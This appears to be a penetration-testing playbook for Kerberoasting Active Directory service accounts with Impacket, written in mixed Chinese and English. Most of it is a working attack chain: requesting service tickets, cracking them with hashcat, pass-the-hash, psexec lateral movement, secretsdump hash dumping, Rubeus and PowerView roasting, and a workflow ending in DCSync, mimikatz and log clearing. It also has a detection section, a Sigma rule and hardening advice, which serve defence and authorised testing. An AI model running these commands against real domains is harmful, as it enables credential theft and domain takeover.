Exploiting Kerberoasting With Impacket

TL;DR

• 目的：Perform Kerberoasting to extract and crack Kerberos TGS tickets for service accounts with SPNs using Impacket GetUserSPNs.py.
• 适用：AD / 网络渗透
• 输入：AD 域 DC IP + 普通域用户账号
• 输出：渗透证据链 + 复现步骤
• 红线：仅限授权范围内；扫描限速 -c 10 -rl 10；所有动作记 oplog
• 关联：上游：003-src-session-start → 下游：097-exploiting-active-directory-with-bloodhound, 098-exploiting-adcs-with-certipy, 079-enumerating-cloud-with-cloudfox

When to Use

• Target presents indicators of the vulnerability class this skill covers
• Fingerprint or recon indicates the relevant technology stack is in use
• Authorized testing scope covers the target endpoint or component
• Findings need to be validated through this skill's methodology

When NOT to Use

• Target is clearly outside this skill's scope (refer to other web-vulns skills)
• No authorization for testing
• Need reconnaissance rather than exploitation (use 1-recon-osint skills instead)

Step 2: Request TGS Tickets

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Step 3: Crack TGS Tickets Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Step 4: Validate and Use Cracked Credentials

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Alternative Tools

Rubeus (Windows)

# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView (PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

Targeted Kerberoasting

High-value targets for Kerberoasting:

Detection

Windows Event Logs

Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs

Sigma Rule

title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

Defensive Recommendations

1. Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
2. Set strong passwords (25+ chars) on all service accounts
3. Enable AES-only encryption - Disable RC4 via GPO
4. Monitor Event ID 4769 for RC4 TGS requests
5. Implement Managed Service Accounts where gMSA is not feasible
6. Regular audits - Run BloodHound to identify Kerberoastable accounts
7. Protected Users group - Add sensitive service accounts
8. Honeypot SPNs - Create decoy accounts with SPNs to detect attacks

References

• MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
• Impacket: https://github.com/fortra/impacket
• Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
• Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/

Output Format

{
  "attack_path": "<chain summary>",
  "steps": [
    {"step": 1, "action": "<technique>", "tool": "<tool>", "result": "<outcome>"},
    ...
  ],
  "evidence": "<log/screenshot path>",
  "impact": "<DA/Admin/DC compromise / credential dump / etc>",
  "cleanup": "<artifact removal checklist>"
}

Save to share/intel/findings/<target>-<ad-<timestamp>.md.

Tools & Systems

• BloodHound — AD attack path graph
• Impacket — Python AD exploitation toolkit
• CrackMapExec — AD/SMB enumeration & exploitation
• Certipy — AD CS exploitation
• NetExec — Modern CrackMapExec fork
• evilginx2 — AiTM credential harvesting
• Mimikatz — Windows credential extraction

All tools require prior 002-src-session-start confirmation for A mode. B mode禁用所有攻击工具。

Workflow

1. Recon — BloodHound collection via SharpHound or bloodhound-python
2. Path analysis — Identify shortest path to DA via BloodHound UI
3. Initial access — Phishing (evilginx) or valid creds (compromised)
4. Lateral movement — CrackMapExec / Impacket / NetExec across hosts
5. Privilege escalation — ADCS, Kerberoast, Shadow Credentials, etc.
6. DA/DC compromise — DCSync or mimikatz sekurlsa::logonpasswords
7. Cleanup — Remove artifacts, clear logs (if authorized)